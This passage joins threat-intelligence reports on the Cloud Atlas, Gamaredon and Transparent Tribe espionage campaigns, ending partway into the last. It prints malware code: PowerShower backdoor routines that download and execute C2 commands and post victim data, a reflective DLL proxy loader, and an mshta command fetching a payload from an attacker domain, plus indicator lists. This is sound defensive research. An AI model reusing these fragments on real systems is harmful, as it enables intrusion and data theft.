successful intrusions and managed to gain full access to some of the targeted environments.
In this publication, we discuss the tools, TTPs and victimology of Cloud Atlas in the last year.
Interestingly, in addition to the usual malware used by Cloud Atlas, we discovered a new,
previously never discussed tool: the group installs not only their signature modular
espionage framework on the infected systems, but also uses the DLL to proxy connections
through the victims
 machines.
While we finalized this blogpost, another technical analysis of Cloud Atlas activity was
published. While it overlaps with our findings to some extent, we believe that this report
provides the additional information, insights and clarifications regarding the actors
operations.
Victimology
The group
s victims shift with the escalation of the political situation around Ukraine. In
2020-2021 the targets we observed included a wide range of ministries, diplomatic entities
and industrial targets across the globe, including Western and Southeast Asia and Europe
(especially, but not only Eastern Europe). However, toward the end of 2021, amid the rising
tensions between Russia and Ukraine, the focus of the group shifted to the Crimean
Peninsula and breakaway regions of Ukraine, Luhansk and Donetsk, as well as government,
diplomatic, research and industry entities of Russia and Belarus.
In March-April 2022, Cloud Atlas was observed targeting entities in the pro-Russian
Transnistria breakaway region of Moldova, officially known as the Transnistrian Moldavian
Republic, where tensions were escalating amid fears that Russia would try to extend its
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sovereignty to Transnistria or use the republic
s territories for an offensive against Ukraine.
Since June 2022, we have seen multiple persistent campaigns focused on very specific targets
in Belarus, mainly in its transportation and military radio-electronics sectors, and in Russia,
including the government sector, energy and metal industries. The actors are also
maintaining their focus on the Russian-annexed Crimean Peninsula, Lugansk and Donetsk
regions.
Initial infection
Cloud Atlas has used spear-phishing emails containing malicious attachments as their initial
attack vector for many years. They mostly use public email services like Yandex, Mail.ru and
Outlook.com, but in some cases also attempted to spoof the existing domains of other entities
that are likely to be trusted by the target.
Figure 1 
 Example of spear-phishing email (subject: 
The Diplomatic
Academy of the Ministry of Foreign Affairs, Diplomatic Service and Practice
Journal
) sent by Cloud Atlas to one of the Russian ministries.
The email attachment is usually a Microsoft Office document which retrieves a malicious
remote template from the attackers
 servers. The lures of these documents are carefully
tailored to the target. We observed a variety of weaponized documents ranging from
governmental documents to publicly available reports and articles, including business
proposals and advertisements.
2/14
Figure 2 
 Examples of lure documents targeting Belarussian entities: A
description of the 
Comprehensive analysis of the economic and financial
activities of a commercial organization
 course from Belarusian State
Economic University (left) and the advertisement of the company specialized
in office equipment (right).
3/14
Figure 3 
 Examples of lure documents used by CloudAtlas against
government and energy sectors. (Resolution of the government of the Russian
Federation on the application of legislation in the field of atomic energy in the
Zaporozhye region, on the right.)
The remote templates are RTF documents that exploit 5-year-old vulnerabilities in Microsoft
Equation Editor, such as CVE-2017-11882 and CVE-2018-0802. For both external templates
and the later stages of the campaign, the attackers closely control who can access them by
whitelisting the targets. This is a known technique used by Cloud Atlas to collect the IP
information of the victims by first sending them reconnaissance documents, which do not
contain any malicious functionality aside from fingerprinting the victim. Whitelisting can be
easily performed in those cases where the targeted entities are large enough to have their
own ASN. The use of whitelisting significantly decreases the chances of the malicious
components executing in sandboxes or research environments.
PowerShower backdoor
The next stage of a Cloud Atlas attack is usually a PowerShell-based backdoor called
PowerShower. PowerShower is stored on the disk with simple obfuscation of Base64encoding and string concatenation:
Figure 4 
 Example of PowerShower backdoor obfuscation.
The PowerShower versions that we observed during our research included a thinner
functionality compared to older versions, but the backdoor remained essentially unchanged,
including function names, such as HttpRequestG , HttpRequestP , and dec64 that can
be tracked through the different versions.
Once PowerShower is up and running, it mainly waits for further instructions from the
Command and Control (C&C) server. It may save a zip file sent from the server to
%TEMP%\PG.zip or execute PowerShell commands that are sent embedded in an XML file
in a Base64-encoded format:
$xmlfile = (gi $env:temp).fullname + "\\temp.xml";
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[io.file]::WriteAllBytes($xmlfile, $result);
$content = Get-Content $xmlfile;
[xml]$doc = $content;
$command = dec64($doc.model.ps);
Invoke-Expression $command;
Remove-Item $xmlfile -force;
Figure 5 
 PowerShower piece of code that handles parsing XML and
PowerShell command execution.
One of the recent changes introduced in PowerShower is proxy awareness: if a proxy is
enabled on the infected machine, the malware uses it when issuing the requests to the C&C
server. In addition, the script now sends some basic data about the victim
s machine (OS
major and minor versions and PowerShell version) in the User-Agent header of the POST
request:
Function HttpRequestP($url)
$all="";
$p_t = (gi $env:temp).fullname + "\pass.txt";
$content = [io.file]::ReadAllText($p_t);
Remove-Item $p_t -force -recurse;
$all=$content;
$http_request = New-Object -ComObject Msxml2.ServerXMLHTTP.6.0;
$http_request.open("POST", $url, $false);
$http_request.setOption(2,$http_request.getOption(2));
$pr = Get-ItemProperty -Path
"HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings\";
if ( $pr.ProxyEnable -eq "1")
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$http_request.setProxy(2, $pr.ProxyServer);
$psv = $PSVersionTable.PSVersion.Major;
$wvmajor = [Environment]::OSVersion.Version.Major;
$wvminor = [Environment]::OSVersion.Version.Minor;
$http_request.SetRequestHeader("User-Agent", "Mozilla/4.0 (compatible; MSIE 7.0;
Windows NT " + $wvmajor + "." + $wvminor + "; PS " + $psv + ".00)");
$http_request.send("$all");
return $http_request.status;
Figure 6 
 PowerShower proxy handling and User-Agent string
concatenation.
RtcpProxy Tool
One of the interesting payloads received by PowerShower is a script called office.ps1 .
This script reflectively loads in memory and runs the StartMainXor function from the
.NET DLL stored in the script compressed and Base64-encoded.
$dll_compressed_base64="H4sIAAAAAAA<truncated>"
$dll_compressed=[System.Convert]::FromBase64String($dll_compressed_base64)
$ms=New-ObjectSystem.IO.MemoryStream(,$dll_compressed)
$cs=New-ObjectSystem.IO.Compression.GzipStream($ms,
[IO.Compression.CompressionMode]::Decompress)
$br=New-ObjectSystem.IO.BinaryReader($cs)
$dll_content=$br.ReadBytes(10485760)
$br.Close()
$cs.Close()
$ms.Close()
6/14
[System.Reflection.Assembly]::Load($dll_content)
#$content_bytes=[tcp_ssl_simple.NetTcpSsl]::StartHello()
#[abcd.Service]::StartHello()
// Prototype:
// StartMainXor(string host, string port, int number, int reconnect_sleep, int
time_stop_delay_seconds, string hexkey)
$content_bytes=[abcd.Service]::StartMainXor("<server_address>", "11171", 10, 7000, 15 *
60, "010203BADC0DEF")
write-host"DoneTest"
This DLL is internally called rtcpsvc.dll and is responsible for relaying commands
between two different servers. This DLL is likely a part of a sequence of proxies used by the
attackers. There were multiple past reports that the actors heavily relied on a world-wide
proxy network, however, it was never mentioned that they achieved this with DLLs on
Windows. Setting proxies within compromised environments might also in some cases allow
the actors to penetrate high profile targets while reducing the risk of their network activity
being discovered or blocked, as the network activity is associated with trusted sources inside
the country or industry.
The communication between the DLL and the hosts can be XOR-encrypted, depending on if
the DLL was executed with a key parameter or without. In all the cases we analyzed, the
same key 
 010203BADC0DEF 
 was used for the XOR-encryption. Other parameters that are
provided to launch the DLL include the host and port of the remote peer, the number of
connections, and the amount of time to sleep before reconnecting.
7/14
Figure 7 
 Overview of the Communication class responsible for
communication between two peers.
The DLL reaches out to the specified remote host ( Left ) and receives 4 bytes in response.
These bytes specify the length of the next message (command) to be received. It then
connects again to the host and expects an XML response with the connect command. This
XML response should contain the host and port of another ( Right ) peer. The DLL
connects to the second host as well, notifies the first host of success, and starts to relay
messages between them.
8/14
Figure 8 
 Function responsible for sending the connect result in XML format
to the 
Left
 peer.
Similar to the command execution status sent to the peers, the relayed messages themselves
are also in XML format, as well as the commands received by the PowerShower backdoor.
Modular espionage framework
Interestingly, the actors made no significant changes in the core of their modular backdoor in
the seven years after its discovery in 2014 by Kaspersky and Symantec. As described in the
aforementioned reports, we observed multiple samples of Cloud Atlas
 modular backdoor.
Each is an obfuscated DLL accompanied by an encrypted file, with both DLL and data files
named using random words. For example, a DLL named beachmaster.dll was
accompanied by an encrypted file named examinere . Each DLL has multiple randomlynamed export functions, only one of which is relevant. When the relevant export function is
called, the DLL begins to decrypt and load an embedded PE file. The loaded PE file then
XOR-decrypts a hardcoded struct that instructs it how to decrypt the companion file. For
example, the hardcoded struct in the PE inside beachmaster.dll will look like this:
0000h: C6 8E CA BF E5 DE 8E 74 1E 08 E3 FB 6D C1 79 3F 
0010h: E5 19 69 0C 55 74 54 F7 CF 15 9D AF 00 02 D9 55 
.i.UtT
0020h: 47 00 6C 00 6F 00 62 00 61 00 6C 00 5C 00 49 00 G.l.o.b.a.l.\.I.
0030h: 54 00 4F 00 4A 00 75 00 43 00 65 00 69 00 00 00 T.O.J.u.C.e.i...
0040h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
truncated
9/14
0090h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00A0h: 65 00 78 00 61 00 6D 00 69 00 6E 00 65 00 72 00 e.x.a.m.i.n.e.r.
00B0h: 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e...............
00C0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
truncated
0110h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0120h: 7D CB BE 31 61 A3 10 54 8F D7 31 71 5E E7 21 86 }
0130h: 13 E1 CF 96 .
....
The structure is built from an AES256 key which is used to decrypt the companion file, an
event name which prevents running multiple instances of malware, a file name of the
encrypted companion file, and a SHA1 hash. The SHA1 at the end of the structure is used for
a hash check: it matches the calculated SHA1 hash of the first 0x120 bytes of the
configuration.
The payload then decrypts the companion file. It uses the AES256 key from the config, and
the last 16 bytes from the companion file as an IV. It then uses LZNT1 to decompress the
results and reveal another PE file. The newly revealed DLL also has an encrypted
configuration hardcoded inside. Its decryption process is similar to those seen in previous
stages and this config provides information that instructs the malware how to communicate
with its C&C server.
The malware still lives up to its 
cloud name
 origins and uses cloud storage providers to
communicate via WebDAV protocol. In the samples we observed, Cloud Atlas used
OpenDrive as its service of choice. The credentials for OpenDrive are hardcoded in the
encrypted configuration, along with two URIs (one for uploading files from the victim, one
for downloading files from the server) and the pattern and extensions to generate the names
of the uploaded files. The data sent to the service, such as information about the environment
of the victim, is saved as files under the URI specified in the configuration. Additionally, the
payload connects to another URI to receive the next payload, and when it downloads the next
payload, it issues a request to the server to remove the downloaded file. The first module
which is sent automatically is the stealer module, which is responsible for collecting the login
and cookie data from multiple browsers on the victim
s machine.
Incident response report
10/14
While investigating CloudAtlas activity, we stumbled upon some type of incident response
report written in Russian that was uploaded to VirusTotal from an IP address located in
Donetsk. This report (no TLP label specified) provides an analysis of a few successful
intrusions that occurred in June. These intrusions were discovered only in the later stages
when the attackers already had full access to the entire network including the domain
controller. Although not all the information in the report is precise and well-detailed, we can
cautiously extract some of the group
s additional TTPs during the later stages of the attack:
After gaining access to the domain controller, the actors extract the snapshot of its
database using the ntdsutil utility and copy it to their server for offline analysis and
extraction of password hashes.
To connect to the machines inside the victim organization
s network, the attackers use
the infected computers of ordinary users, from which they then connect via RDP to the
domain controller. The attackers use existing domain accounts after changing their
permissions or create accounts with similar names by changing one or two letters. The
actors conduct their primary activities (using RDP or ssh to other servers, endpoints or
network equipment) from the domain controller, impersonating regular sysadmin
operations.
Additional tools used by the attackers include Advanced Port Scanner (version
2.5.3869, with Russian interface), file manager Far, Chocolatey, AnyDesk, and
Putty (copied to the servers and deleted after completing the task). The actors also use
Python 3 scripts on multiple servers to perform a variety of operations such as:
searching and deleting all information about connections to webdav.opendrive.com
from the logs of the Squid proxy server; copying correspondence from Telegram clients,
saved passwords and browser history; and brute force of Microtik routers.
It is not clear from the report which organizations or entities were the victims of these
attacks.
Conclusion
Cloud Atlas continuously and persistently targets entities of interest. With the escalation of
the conflict between Russia and Ukraine, their focus for the past year has been on Russia and
Belarus and their diplomatic, government, energy and technology sectors, and on the
annexed regions of Ukraine.
Cloud Atlas continues to use the simple but effective method of social engineering, using
spear-phishing emails to compromise their targets. In the first stage of the attack, the actors
use Word documents with remote templates, usually whitelisted for a particular target, which
makes the phishing documents almost undetectable. Judging by the fact that the group
continues to be very active despite only minor changes in TTPs, their methods seem to be
successful. Not only do they manage to penetrate their targets and expand their initial access
to the entire domain, but they can also use them as proxies for other operations.
11/14
Harmony Email & Office deploys between the inbox and its native security. The solution
secures inbound, outbound, and internal email from phishing attacks that evade platformprovided solutions and email gateways. It works with these other solutions and doesn
require any MX record changes that broadcast security protocols to hackers.
Check Point
s Threat Emulation protects networks against unknown threats in web
downloads and e-mail attachments. The Threat Emulation engine picks up malware at the
initial phase, before it enters the network. The engine quickly quarantines and runs the files
in a virtual sandbox environment, which imitates a standard operating system, to discover
malicious behavior at the exploit phase.
IOCs
Documents, scripts and payloads
12/14
a34d585f66fc4582ed709298d00339a9
b1aad1ed2925c47f848f9c86a4f35256
f58ad9ee5d052cb9532830f59ecb5b84
57c44757d7a43d3bc9e64ec5c5e5515d
41d2627522794e9ec227d72f842edaf7
f95ceca752d219dbc251cca4cd723eae
044e167af277ca0d809ce4289121a7b5
1139c39dda645f4c7b06b662083a0b9d
3399deafaa6b91e8c19d767935ae0908
bd9907dd708608bd82bf445f8c9c06ab
edc96c980bbc85d83dcd4dca49ca613f
ee671a205b0204fa1a6b4e31c9539771
5488781d71b447431a025bd21b098c2c
16fbbafa294d1f4c6c043d89138d1b60
5bbc3730c943b89673453176979d6811
b684f3ee5a316e7fbcfa95ebcf86dedc
ae74f2bfd671e11828a1ae040fe6d48c
2a21265df0bdd70a96551d9d6104b352
a8a93fa8ef221de5ee3d110cfc85243d
eb527d1682bfbed5d9346e721c38c6f5
ae828e3c03cc1aaedc43bb391e8b47ed
c7a1dd829b03b47c6038afa870b2f965
c2064c7f4826c46bc609c472597366fd
89d40dd2db9c2cfd6a03b20b307dcdec
d236d8fda2b7d6fd49b728d57c92a0a9
9b05080490d51a7d2806a0d55d75c7ff
d5a40e2986efd4a182bf564084533763
077b71298ce31832ae43e834b7e6c080
f68e64dacd046289d4222098ee421478
d236d8fda2b7d6fd49b728d57c92a0a9
81932933422d4bc4ece37472f9eb3ddc
d0d728856a91710df364576e05f2113e
94283807d0c97b3adb8f4ab45fffb5bc
0e9147b824bc1d2507984ccd2a36d507
dc3faa6840d1b5fd296d71ee8877254e
aa04bfcc675c73be1238fa953e19c4cf
789afbe3a173d13d0b3700da6a629e15
acbbc6fea0dbbe7cba511b450cc2b758
e79833c9f758775ba0d82b8f4c8d2981
3609ca3013d29fb824805b9a996eff70
956f2241e81345d6507d0cd43499dba1
a3ba37cde2644ed6345d2c74ce25bfd8
a7a004e7118c986f1e07c87ce52a60e5
b7b71b35fbfd119319015b04de817b3c
f29cbc7639b53003fb33d8b20b9c0b59
Domains
13/14
desktoppreview[.]com
gettemplate[.]org
driversolution[.]net
translate-news[.]net
technology-requests[.]net
protocol-list[.]com
comparelicense[.]com
support-app[.]net
remote-convert[.]com
GO UP
BACK TO ALL POSTS
14/14
Gamaredon APT targets Ukrainian government agencies
in new campaign
blog.talosintelligence.com/gamaredon-apt-targets-ukrainian-agencies
September 15, 2022
By Asheer Malhotra, Guilherme Venere
Thursday, September 15, 2022 09:09
Threat Spotlight SecureX Ukraine
THIS POST IS ALSO AVAILABLE IN:
 (Ukrainian)
Cisco Talos recently identified a new, ongoing campaign attributed to the Russia-linked
Gamaredon APT that infects Ukrainian users with information-stealing malware.
The adversary is using phishing documents containing lures related to the Russian
invasion of Ukraine.
LNK files, PowerShell and VBScript enable initial access, while malicious binaries are
deployed in the post-infection phase.
Download One-pager
1/16
We discovered the use of a custom-made information stealer implant that can exfiltrate
victim files of interest and deploy additional payloads as directed by the attackers.
Cisco Talos discovered Gamaredon APT activity targeting users in Ukraine with malicious
LNK files distributed in RAR archives. The campaign, part of an ongoing espionage operation
observed as recently as August 2022, aims to deliver information-stealing malware to
Ukrainian victim machines and makes heavy use of multiple modular PowerShell and
VBScript (VBS) scripts as part of the infection chain. The infostealer is a dual-purpose
malware that includes capabilities for exfiltrating specific file types and deploying additional
binary and script-based payloads on an infected endpoint.
The adversary uses phishing emails to deliver Microsoft Office documents containing remote
templates with malicious VBScript macros. These macros download and open RAR archives
containing LNK files that subsequently download and activate the next-stage payload on the
infected endpoint. We observed considerable overlap between the tactics, techniques and
procedures (TTPs), malware artifacts and infrastructure used in this campaign and those
used in a series of attacks the Ukraine Computer Emergency Response Team (CERT-UA)
recently attributed to Gamaredon.
We also observed intrusion attempts against several Ukrainian entities. Based on these
observations and Gamaredon's operational history of almost exclusively targeting Ukraine,
we assess that this latest campaign is almost certainly directly targeting entities based in
Ukraine.
2/16
Attack Chain
Initial Access
Gamaredon APT actors likely gained initial footholds into targeted networks through
malicious Microsoft Office documents distributed via email. This is consistent with spearphishing techniques common to this APT.
Malicious VBS macros concealed within remote templates execute when the user opens the
document. The macros download RAR archives containing LNK files. The naming
convention of the RAR archives in this campaign follows a similar pattern:
31.07.2022.rar
04.08.2022.rar
10.08.2022.rar
These compressed archives usually contain just the LNK file. The LNK files and Microsoft
Office document names contain references pertinent to the Russian invasion of Ukraine:
Execution
Once opened, the LNKs will attempt to execute MSHTA.EXE to download and parse a
remote XML file to execute a malicious PowerShell script:
mshta.exe hxxp://a0704093.xsph[.]ru/bass/grudge.xml /f
Gamaredon is known to use the domain xsph[.]ru. The servers in this campaign only allow
access from IP addresses inside the Ukrainian address space.
3/16
This PowerShell script decodes and executes a second PowerShell script (instrumentor),
which collects data from the victim and reports back to a remote server. This script also
allows the remote server to send a PowerShell command or binary blob containing encrypted
VBScript (VBS) code to be executed locally:
4/16
5/16
Second-stage PowerShell script that runs additional commands and payloads on the endpoint.
The instrumentor PowerShell script usually consists of a function that decodes the encrypted
response from the command and control (C2) server and executes it as a VBScript object. The
key used in the XOR decoder is calculated based on the machine's volume serial number plus
index parameters passed in the response blob. This method makes it difficult to decode the
malicious content if an observer looking at the data doesn't have both parameters available.
The PowerShell script also repeatedly captures the current user's screen. This code uses the
"System.Windows.Forms" object to capture a copy of the virtual desktop, including
setups with multiple screens. The screen capture is executed nine times, but the resulting
screenshot is always saved to "%TEMP%\test.png", which gets overwritten every time. The
resulting image (PNG file) is then converted to a base64-encoded string, stored in a variable
and the screenshot image file is removed from the disk.
The script then proceeds to upload the victim's information to the remote server. The
following information is then collected and exfiltrated to a hardcoded C2 URL.
Computer name.
Volume serial number.
Base64-encoded screenshot.
Upon sending the system information, the server response is parsed to see if there are
commands to be executed. The entire script runs up to four times, thus up to four different
commands can be executed each time.
The code checks if the first character is an exclamation point ("!"). If so, the remainder of the
response is expected to be a PowerShell code that is passed directly to the command IEX. The
output of that command is then added to the variable "cmd" and sent back to the C2 server.
If the response starts with any other character, it is treated as an encrypted blob and passed
to the decoder function, along with the volume serial number to be decoded and executed as
VBScript.
6/16
Infection chain diagram.
Payloads
Yet another PowerShell script
One of the payloads served to the instrumentor script was PowerShell code used to set an
environmental variable with PowerShell code in it and a Registry RUN key to run every time
the user logs in.
7/16
PowerShell script setting up the RUN key to execute another PowerShell script stored in the environment
variable.
There are two key components to this script:
The Get-IP function: This function queries a DNS lookup service for an attackerspecified domain and uses one of the returned IP addresses as the IP to download the
next payloads.
Next-stage payload: The PowerShell script uses the IP address to construct a URL that
serves the next-stage PowerShell script, which is subsequently stored in "$env:Include"
and executed when the user logs in (via the HKCU\\Run key).
Persistence script fetching the remote location's IP.
8/16
The PowerShell code residing in the environment variable is meant to provide the attackers
with continued access to the infected endpoint with the capability to deploy additional
payloads as desired. A similar PowerShell script was described in CERT-UA's recent alert
describing intrusions conducted by Gamaredon in the first half of 2022 using the
GammaLoad and GammaSteel implants.
PowerShell script stored in the env variable.
9/16
This script uses the same Get-IP() function to get a random IP assigned to the domain and
queries a URL constructed from the IP address and a hardcoded extended resource. Just like
the previous script, the computer name and volume serial number are used again in
communications with the C2 server. The C2 server uses them to encode the next-stage
payload subsequently served to the script.
If the response from the C2 starts with the string "http", the content is treated as the URL to
download the final payload binary. The Volume Serial Number and Computer Name are
passed to this URL and the response is decoded using the XorBytes function.
PowerShell function used to decode payloads from C2 server.
The decrypted binary is then saved to the "%TEMP%" folder with a name consisting of a
random string of numbers and the ".exe" file extension and is executed.
Alternatively, if the response from the C2 does not begin with the "http" string, the content is
treated as a VBS and executed via a COM object.
Infostealer
One of the executables deployed by the attackers via the PowerShell script consisted of an
information stealer that exfiltrates files of specific extensions from the infected endpoint:
.doc, .docx, .xls, .rtf, .odt, .txt, .jpg, .jpeg, .pdf, .ps1, .rar, .zip, .7z and .mdb. This is a new
infostealer that Gamaredon has not previously used in other campaigns. We suspect it may
be a component of Gamaredon's "Giddome'' backdoor family, but we are unable to confirm
that at this time.
The malicious binary keeps track of what has been exfiltrated in a file named
"profiles_c.ini" in the "%USERPROFILE%\Appdata\Local" folder. The malware
stores the MD5 hash of a string containing the filename, file size and modification date of the
exfiltrated file.
10/16
Once started, the malware scans all attached storage devices looking for files with the
aforementioned extensions. For each one, the malware makes a POST request with metadata
about the exfiltrated file and its content.
POST data to exfiltrate files.
The parameter "p" contains metadata about the stolen file and the victim machine using the
following format:
%u&&%s&&%s&&%s&&%s&&%s
Where the various parameters are:
<Hard_coded_value>&&<File_name>&&<File_Modification_Date_time>&&
<FileSize>&&__&&<Computer_Name>&&<Username>&&
<Victim_ID_randomly_generated_string_12_chars>&&<Volume Serial Number>
The raw content of the file comes after the metadata. The request is made to a random URI
under the parent C2 domain. The implant generates a random 12-character string that acts as
a subdomain for the C2 domain to send requests to:
E.g. <random_12_char_string>[.]celticso[.]ru
The implant will also search for the relevant file extensions in fixed and remote drives and
specifically in the "C:\Users" folder. The implant enumerates all the files recursively in the
directories on the system while avoiding enumeration of any folder containing the following
strings in the path:
program files
program files (x86)
11/16
programdata
perflogs
prog
windows
appdata
local
roaming
Avoiding these folders is likely an attempt by the malware to avoid exfiltrating system files
thereby focussing on user files of interest only.
For each file exfiltrated to the C2, the implant calculates the MD5 hash for the following
information and stores it in the "%LocalAppData%\profiles_c.ini" file:
<file_path><File_size><File_modification_date_time>
The implant also steals files from removable drives connected to the infected endpoint. When
the implant finds a removable drive, it looks for files with the file extensions listed earlier.
Once a file is found, the implant creates a randomly named folder in the %TEMP% directory
and copies the original file from its original location to:
%Temp%\<randomly_named_folder>\connect\<removable_vol_serial_number>\
<original file path>
For example, a user file found in a remote drive "E:" at path
"E:\top_secret_docs\isengard.doc" will be copied to
"%temp%\randomly_named_folder\connect\
<removable_vol_serial_number>\top_secret_docs\isengard.doc"
The contents of the folder in the temp directory are subsequently exfiltrated to the C2.
Deliver payloads
As with this actor's previous tools (e.g., the PS1 scripts), this binary also parses the server
response and downloads additional payloads if requested. The response from the server
consists of a flag indicating how the data should be treated:
Flag
Payload Type
Action
Written to disk and executed.
Written to disk and executed using wscript.exe.
Any other value
Blob of data
Written to a file on disk in the %TEMP% folder.
12/16
Code depicting the dropping of additional payloads.
There are other indications this malware may be present on the system, listed below:
13/16
A registry key is created under
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run with the name
"Windows Task" for persistence
A mutex is created with the name Global\flashupdate_r
Coverage
Ways our customers can detect and block this threat are listed below.
Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the
execution of the malware detailed in this post. Try Secure Endpoint for free here.
Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects
malware used in these attacks.
Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat
actors as part of their campaign. You can try Secure Email for free here.
Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances
such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect
malicious activity associated with this threat.
Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds
protection into all Cisco Secure products.
Umbrella, Cisco
s secure internet gateway (SIG), blocks users from connecting to malicious
domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free
trial of Umbrella here.
Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks
potentially dangerous sites and tests suspicious sites before users access them.
14/16
Additional protections with context to your specific environment and threat data are
available from the Firewall Management Center.
Cisco Duo provides multi-factor authentication for users to ensure only those authorized are
accessing your network.
Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the
latest rule pack available for purchase on Snort.org. Snort Rules 60517-60539 are available
for this threat.
Orbital Queries
Cisco Secure Endpoint users can use Orbital Advanced Search to run complex OSqueries to
see if their endpoints are infected with this specific threat. For specific OSqueries on this
threat, click here and here.
IOCs
The IOC list is also available in Talos' Github repo here.
Malicious
Documents4aa2c783ae3d2d58f12d5e89282069533a80a7ba6f7fe6c548c6230a9601e650
Files581ed090237b314a9f5cd65076cd876c229e1d51328a24effd9c8d812eaebe6a
34bf1a232870df28809597d49a70d9b549d776e1e4beb3308ff6d169a59ecd02
78c6b489ac6cebf846aab3687bbe64801fdf924f36f312802c6bb815ed6400ba
1cb2d299508739ae85d655efd6470c7402327d799eb4b69974e2efdb9226e447
a9916af0476243e6e0dbef9c45b955959772c4d18b7d1df583623e06414e53b7
8294815c2342ff11739aff5a55c993f5dd23c6c7caff2ee770e69e88a7c4cb6a
be79d470c081975528c0736a0aa10214e10e182c8948bc4526138846512f19e7
5264e8a8571fe0ef689933b8bc2ebe46b985c9263b24ea34e306d54358380cbb
ff7e8580ce6df5d5f5a2448b4646690a6f6d66b1db37f887b451665f4115d1a2
1ec69271abd8ebd1a42ac1c2fa5cdd9373ff936dc73f246e7f77435c8fa0f84c
Files750bcec54a2e51f3409c83e2100dfb23d30391e20e1c8051c2bc695914c413e3
Infostealer
139547707f38622c67c8ce2c026bf32052edd4d344f03a0b37895b5de016641a
Malicious URLs
15/16
hxxp://a0698649.xsph[.]ru/barley/barley.xml
hxxp://a0700343.xsph[.]ru/new/preach.xml
hxxp://a0700462.xsph[.]ru/grow/guests.xml
hxxp://a0700462.xsph[.]ru/seek/lost.xml
hxxp://a0701919.xsph[.]ru/head/selling.xml
hxxp://a0701919.xsph[.]ru/predator/decimal.xml
hxxp://a0701919.xsph[.]ru/registry/prediction.xml
hxxp://a0704093.xsph[.]ru/basement/insufficient.xml
hxxp://a0704093.xsph[.]ru/bass/grudge.xml
hxxp://a0705076.xsph[.]ru/ramzeses1.html
hxxp://a0705076.xsph[.]ru/regiment.txt
hxxp://a0705269.xsph[.]ru/bars/dearest.txt
hxxp://a0705269.xsph[.]ru/instruct/deaf.txt
hxxp://a0705269.xsph[.]ru/prok/gur.html
hxxp://a0705581.xsph[.]ru/guinea/preservation.txt
hxxp://a0705880.xsph[.]ru/band/sentiment.txt
hxxp://a0705880.xsph[.]ru/based/pre.txt
hxxp://a0705880.xsph[.]ru/selection/seedling.txt
hxxp://a0706248.xsph[.]ru/reject/headlong.txt
hxxp://a0707763.xsph[.]ru/decipher/prayer.txt
Additional Payload Drop Sites
hxxp://155.138.252[.]221/get.php
hxxp://45.77.237[.]252/get.php
hxxp://motoristo[.]ru/get.php
hxxp://heato[.]ru/index.php
hxxps://<random_string>.celticso[.]ru
162[.]33[.]178[.]129
kuckuduk[.]ru
pasamart[.]ru
celticso[.]ru
16/16
Transparent Tribe campaign uses new bespoke malware
to target Indian government officials
blog.talosintelligence.com/2022/03/transparent-tribe-new-campaign.html
By Asheer Malhotra and Justin Thattil with contributions from Kendall McKay.
Cisco Talos has observed a new Transparent Tribe campaign targeting Indian
government and military entities. While the actors are infecting victims with
CrimsonRAT, their well-known malware of choice, they are also using new stagers and
implants.
This campaign, which has been ongoing since at least June 2021, uses fake domains
mimicking legitimate government and related organizations to deliver malicious
payloads, a common Transparent tribe tactic.
Based on our analysis of Transparent Tribe operations over the last year, the group has
continued to change its initial entry mechanisms and incorporate new bespoke
malware, indicating the actors are actively diversifying their portfolio to compromise
even more victims.
Notably, the adversary has moved towards deploying small, bespoke stagers and
downloaders that can be easily modified, likely to enable quick and agile operations.
Transparent Tribe deploys new implants
Transparent Tribe, also known as APT36 and Mythic Leopard, continues to create fake
domains mimicking legitimate military and defense organizations as a core component of
their operations. In the latest campaign conducted by the threat actor, Cisco Talos observed
1/23
multiple delivery methods, such as executables masquerading as installers of legitimate
applications, archive files and maldocs to target Indian entities and individuals. These
infection chains led to the deployment of three different types of implants, two of which we
had not previously observed:
CrimsonRAT: A remote access trojan (RAT) family that Transparent Tribe frequently
uses to conduct espionage operations against their targets.
A previously unknown Python-based stager that leads to the deployment of .NET-based
reconnaissance tools and RATs.
A lightweight .NET-based implant to run arbitrary code on the infected system.
This campaign also uses fake domains mimicking legitimate government and pseudogovernment organizations to deliver malicious payloads, a typical Transparent Tribe tactic.
Threat actor profile
Transparent Tribe is a suspected Pakistan-linked threat actor. This group targets individuals
and entities associated with governments and military personnel in the Indian subcontinent,
specifically Afghanistan and India. Transparent Tribe has also been known to use their
CrimsonRAT implant against human rights activists in Pakistan.
The group primarily uses three Windows-based malware families to carry out espionage
activities against their targets.
CrimsonRAT is a .NET-based implant that has been the group's malware of choice
since at least 2020 . Transparent Tribe's multiple campaigns leveraging CrimsonRAT
over the years indicate a steady evolution in the implant's capabilities.
ObliqueRAT is a C/C++-based implant discovered by Talos in early 2020.
ObliqueRAT is primarily reserved for highly targeted attacks on government personnel
and in operations where stealth is a prime focus of the attackers' infection chain. This
implant has also seen a constant evolution in deployment tactics and malicious
functionalities over time.
Custom malware used by Transparent Tribe consists of easily and quickly deployable
downloaders, droppers and lightweight RATs containing limited capabilities as
opposed to CrimsonRAT and ObliqueRAT.
Transparent Tribe also maintains a suite of mobile implants in their arsenal. Implants such
as CapraRAT are constantly modified to be deployed against targets. These implants contain
a plethora of malicious capabilities meant to steal data from mobile devices.
2/23
Downloader executables
Talos observed the use of downloader executables containing different lures related to the
Indian government. Themes included topics related to COVID-19, resumes and installers for
government applications, such as the Kavach multi-factor authentication (MFA) application.
Latest variant
The latest downloaders primarily masquerade as installers for Kavach and are distributed for
delivering malicious artifacts to targets. Kavach is widely used by government personnel, as it
allows employees (including military personnel) to access the Indian government's I.T.
resources, such as email services.
The droppers are .NET-based executables. They begin execution by checking if the timezone
on the infected endpoint contains keywords such as "India." A splash screen is displayed to
the victim notifying them that the Kavach application is being installed:
Fake installation splash screen
